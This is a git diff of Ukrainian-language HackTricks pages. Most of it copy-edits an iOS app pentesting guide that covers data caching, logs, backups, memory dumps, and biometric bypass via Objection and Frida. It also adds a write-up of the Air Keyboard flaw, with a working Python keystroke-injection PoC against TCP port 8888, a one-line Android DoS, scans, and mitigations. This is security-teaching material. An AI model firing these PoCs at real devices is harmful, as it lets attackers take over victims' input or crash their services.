- Будьте обережні з функціями автокорекції та авто-пропозицій стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних.
|
||||
- Будьте обережні з функціями автокорекції та автоматичних підказок стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних.
|
||||
- Перехоплення мережевого трафіку може виявити, чи передає користувацька клавіатура натискання клавіш віддалено.
|
||||
|
||||
### **Запобігання кешуванню текстових полів**
|
||||
@ -608,11 +608,11 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
|
||||
Відладка коду часто передбачає використання **логування**. Існує ризик, оскільки **логи можуть містити чутливу інформацію**. Раніше, в iOS 6 та ранніших версіях, логи були доступні всім додаткам, що створювало ризик витоку чутливих даних. **Тепер додатки обмежені у доступі лише до своїх логів**.
|
||||
|
||||
Незважаючи на ці обмеження, **зловмисник з фізичним доступом** до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп'ютера та **прочитавши логи**. Важливо зазначити, що логи залишаються на диску навіть після видалення додатку.
|
||||
Незважаючи на ці обмеження, **зловмисник з фізичним доступом** до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп'ютера та **прочитавши логи**. Важливо зазначити, що логи залишаються на диску навіть після видалення додатка.
|
||||
|
||||
Щоб зменшити ризики, рекомендується **ретельно взаємодіяти з додатком**, досліджуючи всі його функціональні можливості та введення, щоб переконатися, що жодна чутлива інформація не записується ненавмисно.
|
||||
|
||||
При перегляді вихідного коду додатку на предмет потенційних витоків, шукайте як **попередньо визначені**, так і **кастомні логуючі оператори**, використовуючи ключові слова, такі як `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` для вбудованих функцій, а також будь-які згадки про `Logging` або `Logfile` для кастомних реалізацій.
|
||||
При перегляді вихідного коду додатка на предмет потенційних витоків, шукайте як **попередньо визначені**, так і **кастомні логуючі оператори**, використовуючи ключові слова, такі як `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` для вбудованих функцій, а також будь-які згадки про `Logging` або `Logfile` для кастомних реалізацій.
|
||||
|
||||
### **Моніторинг системних логів**
|
||||
|
||||
@ -621,7 +621,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```
|
||||
корисні. Додатково, **Xcode** надає спосіб збору консолі логів:
|
||||
є корисними. Додатково, **Xcode** надає спосіб збору консолі логів:
|
||||
|
||||
1. Відкрийте Xcode.
|
||||
2. Підключіть iOS пристрій.
|
||||
@ -638,7 +638,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## Резервні копії
|
||||
|
||||
**Автоматичні функції резервного копіювання** інтегровані в iOS, що полегшує створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як деталі Apple Pay та налаштування Touch ID.
|
||||
**Автоматичні функції резервного копіювання** інтегровані в iOS, що полегшує створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina і далі) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як деталі Apple Pay та налаштування Touch ID.
|
||||
|
||||
### Ризики безпеки
|
||||
|
||||
@ -665,21 +665,21 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії DinoSec на GitHub](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
||||
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії DinoSec на GitHub](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у резервних копіях з паролем є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
||||
|
||||
### Модифікація поведінки додатка
|
||||
|
||||
Приклад зміни поведінки додатка через модифікації резервної копії продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ.
|
||||
Приклад зміни поведінки додатка через модифікацію резервних копій продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ.
|
||||
|
||||
## Резюме щодо тестування пам'яті для чутливих даних
|
||||
|
||||
При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існує два основних підходи для дослідження вмісту пам'яті: **створення дампа пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампа або аналізу.
|
||||
При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існують два основні підходи для дослідження вмісту пам'яті: **створення дампу пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампу або аналізу.
|
||||
|
||||
## **Отримання та аналіз дампа пам'яті**
|
||||
## **Отримання та аналіз дампу пам'яті**
|
||||
|
||||
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють отримувати дамп пам'яті процесу додатка. Після отримання дампа аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
|
||||
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють отримувати дамп пам'яті процесу додатка. Після отримання дампу аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
|
||||
|
||||
Щоб витягти рядки з дампа пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
|
||||
Щоб витягти рядки з дампу пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
|
||||
```bash
|
||||
# Extracting strings using strings command
|
||||
$ strings memory > strings.txt
|
||||
@ -724,7 +724,7 @@ ios monitor crypt
|
||||
|
||||
**Локальна аутентифікація** відіграє важливу роль, особливо коли йдеться про захист доступу до віддаленого кінцевого пункту за допомогою криптографічних методів. Суть полягає в тому, що без належної реалізації механізми локальної аутентифікації можуть бути обійдені.
|
||||
|
||||
Фреймворк [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) від Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів та безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію відбитків пальців для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних.
|
||||
[**Фреймворк локальної аутентифікації**](https://developer.apple.com/documentation/localauthentication) Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів і безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію відбитків пальців для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних.
|
||||
|
||||
Для інтеграції Touch ID/Face ID розробники мають два варіанти API:
|
||||
|
||||
@ -738,7 +738,7 @@ ios monitor crypt
|
||||
|
||||
Щоб запитати користувачів про аутентифікацію, розробники повинні використовувати метод **`evaluatePolicy`** у класі **`LAContext`**, вибираючи між:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись до успіху, якщо жоден з них не активовано.
|
||||
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не ввімкнено.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Виключно запитує Touch ID.
|
||||
|
||||
Успішна аутентифікація вказується булевим значенням, повернутим з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки.
|
||||
@ -747,7 +747,7 @@ ios monitor crypt
|
||||
|
||||
Реалізація **локальної аутентифікації** в iOS-додатках передбачає використання **keychain API** для безпечного зберігання секретних даних, таких як токени аутентифікації. Цей процес забезпечує доступ до даних лише для користувача, використовуючи їх код доступу до пристрою або біометричну аутентифікацію, таку як Touch ID.
|
||||
|
||||
Keychain пропонує можливість встановлювати елементи з атрибутом `SecAccessControl`, який обмежує доступ до елемента, поки користувач не пройде успішну аутентифікацію через Touch ID або код доступу до пристрою. Ця функція є важливою для підвищення безпеки.
|
||||
Keychain пропонує можливість встановлювати елементи з атрибутом `SecAccessControl`, який обмежує доступ до елемента, поки користувач успішно не аутентифікується через Touch ID або код доступу до пристрою. Ця функція є важливою для підвищення безпеки.
|
||||
|
||||
Нижче наведені приклади коду на Swift та Objective-C, які демонструють, як зберігати та отримувати рядок з keychain, використовуючи ці функції безпеки. Приклади конкретно показують, як налаштувати контроль доступу, щоб вимагати аутентифікацію Touch ID та забезпечити доступність даних лише на пристрої, на якому вони були налаштовані, за умови, що код доступу до пристрою налаштовано.
|
||||
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Тепер ми можемо запитати збережений елемент з ключниці. Служби ключниці відобразять діалог аутентифікації для користувача та повернуть дані або nil в залежності від того, чи було надано відповідний відбиток пальця.
|
||||
Тепер ми можемо запитати збережений елемент з ключниці. Служби ключниці відобразять діалог аутентифікації для користувача і повернуть дані або nil в залежності від того, чи було надано відповідний відбиток пальця.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -902,7 +902,7 @@ $ otool -L <AppName>.app/<AppName>
|
||||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||
```
|
||||
Ця команда запускає послідовність, в якій Objection реєструє завдання, що ефективно змінює результат перевірки `evaluatePolicy` на `True`.
|
||||
Ця команда запускає послідовність, в якій Objection реєструє завдання, що ефективно змінює результат перевірки **`evaluatePolicy`** на `True`.
|
||||
|
||||
#### Frida
|
||||
|
||||
@ -964,7 +964,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
||||
```
|
||||
## Витік чутливої функціональності через IPC
|
||||
|
||||
### Користувацькі обробники URI / Глибокі посилання / Користувацькі схеми
|
||||
### Користувацькі обробники URI / Deeplinks / Користувацькі схеми
|
||||
|
||||
{{#ref}}
|
||||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||||
@ -1022,7 +1022,7 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Прив'язка сертифіката
|
||||
|
||||
Якщо додаток правильно використовує SSL Pinning, то він буде працювати лише якщо сертифікат є тим, що очікується. При тестуванні додатка **це може бути проблемою, оскільки Burp надасть свій власний сертифікат.**\
|
||||
Якщо додаток правильно використовує SSL Pinning, то додаток буде працювати лише якщо сертифікат є тим, що очікується. При тестуванні додатка **це може бути проблемою, оскільки Burp надасть свій власний сертифікат.**\
|
||||
Щоб обійти цю захист на зламаному пристрої, ви можете встановити додаток [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) або встановити [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Ви також можете використовувати **objection's** `ios sslpinning disable`
|
||||
@ -1040,15 +1040,15 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Гаряче патчування/Примусове оновлення
|
||||
|
||||
Розробники можуть віддалено **поправити всі установки свого додатку миттєво**, не подаючи додаток повторно в App Store і не чекаючи його затвердження.\
|
||||
Розробники можуть віддалено **поправити всі установки свого додатку миттєво**, не подаючи додаток повторно в App Store і не чекаючи, поки його затвердять.\
|
||||
Для цієї мети зазвичай використовують [**JSPatch**](https://github.com/bang590/JSPatch)**.** Але також є інші варіанти, такі як [Siren](https://github.com/ArtSabintsev/Siren) та [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Це небезпечний механізм, який може бути зловжито зловмисними сторонніми SDK, тому рекомендується перевірити, який метод використовується для автоматичного оновлення (якщо є) та протестувати його.** Ви можете спробувати завантажити попередню версію додатку для цієї мети.
|
||||
**Це небезпечний механізм, який може бути зловжито зловмисними сторонніми SDK, тому рекомендується перевірити, який метод використовується для автоматичного оновлення (якщо є) і протестувати його.** Ви можете спробувати завантажити попередню версію додатку для цієї мети.
|
||||
|
||||
### Сторонні програми
|
||||
|
||||
Суттєвим викликом з **3rd party SDKs** є **відсутність детального контролю** над їх функціональністю. Розробники стикаються з вибором: або інтегрувати SDK і прийняти всі його функції, включаючи потенційні вразливості безпеки та проблеми з конфіденційністю, або зовсім відмовитися від його переваг. Часто розробники не можуть самостійно виправити вразливості в цих SDK. Більше того, оскільки SDK отримують довіру в спільноті, деякі з них можуть почати містити шкідливе ПЗ.
|
||||
|
||||
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не повністю усвідомлювати код, що виконується цими бібліотеками, що призводить до потенційних ризиків для конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
|
||||
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не повністю усвідомлювати код, виконуваний цими бібліотеками, що призводить до потенційних ризиків конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
|
||||
|
||||
Впровадження сторонніх послуг зазвичай відбувається у двох формах: окрема бібліотека або повний SDK. Щоб захистити конфіденційність користувача, будь-які дані, що передаються цим службам, повинні бути **анонімізовані**, щоб запобігти розкриттю особистої ідентифікаційної інформації (PII).
|
||||
|
||||
@ -1056,6 +1056,12 @@ burp-configuration-for-ios.md
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
## Цікаві вразливості та випадки
|
||||
|
||||
{{#ref}}
|
||||
air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## **Посилання та додаткові ресурси**
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||
@ -1084,5 +1090,4 @@ otool -L <application_path>
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,91 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS версія комерційного додатку "Air Keyboard" (App Store ID 6463187929) відкриває **TCP сервіс у відкритому тексті на порту 8888**, який приймає кадри натискань клавіш **без жодної аутентифікації**. Будь-який пристрій в тій же Wi-Fi мережі може підключитися до цього порту та впровадити довільний ввід з клавіатури у телефон жертви, досягаючи **повного віддаленого захоплення взаємодії**.
|
||||
|
||||
Супутня Android версія слухає на **порту 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття викликає **некероване виключення в рутині розшифрування OpenSSL**, що призводить до збою фонової служби (**DoS**).
|
||||
|
||||
## 1. Service Discovery
|
||||
|
||||
Скануйте локальну мережу та шукайте два фіксовані порти, які використовуються додатками:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
На пристроях Android ви можете локально визначити відповідний пакет:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Формат кадру (iOS)
|
||||
|
||||
Бінарний файл розкриває наступну логіку парсингу всередині рутини `handleInputFrame()`:
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Заявлена довжина включає байт `device_id` **але не** сам двобайтовий заголовок.
|
||||
|
||||
## 3. Експлуатація PoC
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
Будь-який друкований ASCII (включаючи `\n`, `\r`, спеціальні клавіші тощо) може бути надісланий, ефективно надаючи зловмиснику таку ж силу, як і фізичний ввід користувача: запуск додатків, надсилання IM, відвідування фішингових URL тощо.
|
||||
|
||||
## 4. Android Companion – Відмова в обслуговуванні
|
||||
|
||||
Android порт (55535) очікує 4-символьний пароль, зашифрований за допомогою **жорстко закодованого AES-128-ECB ключа**, за яким слідує випадковий nonce. Помилки парсингу піднімаються до `AES_decrypt()` і не перехоплюються, що призводить до завершення потоку прослуховування. Один неправильно сформований пакет достатній, щоб утримувати законних користувачів відключеними, поки процес не буде перезапущено.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Корінна причина
|
||||
|
||||
1. **Відсутність перевірок походження / цілісності** на вхідних кадрах (iOS).
|
||||
2. **Неправильне використання криптографії** (статичний ключ, ECB, відсутня перевірка довжини) та **відсутність обробки виключень** (Android).
|
||||
|
||||
## 6. Заходи пом'якшення та ідеї щодо зміцнення
|
||||
|
||||
* Ніколи не відкривайте неавтентифіковані сервіси на мобільному пристрої.
|
||||
* Виводьте секрети для кожного пристрою під час onboarding та перевіряйте їх перед обробкою введення.
|
||||
* Прив'яжіть слухача до `127.0.0.1` і використовуйте взаємно автентифікований, зашифрований транспорт (наприклад, TLS, Noise) для віддаленого керування.
|
||||
* Виявляйте несподівані відкриті порти під час оглядів безпеки мобільних пристроїв (`netstat`, `lsof`, `frida-trace` на `socket()` тощо).
|
||||
* Як кінцевий користувач: видаліть Air Keyboard або використовуйте його лише в надійних, ізольованих Wi-Fi мережах.
|
||||
|
||||
## Чек-лист для виявлення (Pentesters)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [Вразливість віддаленого введення в додатку Air Keyboard для iOS все ще не виправлена](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Консультація CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user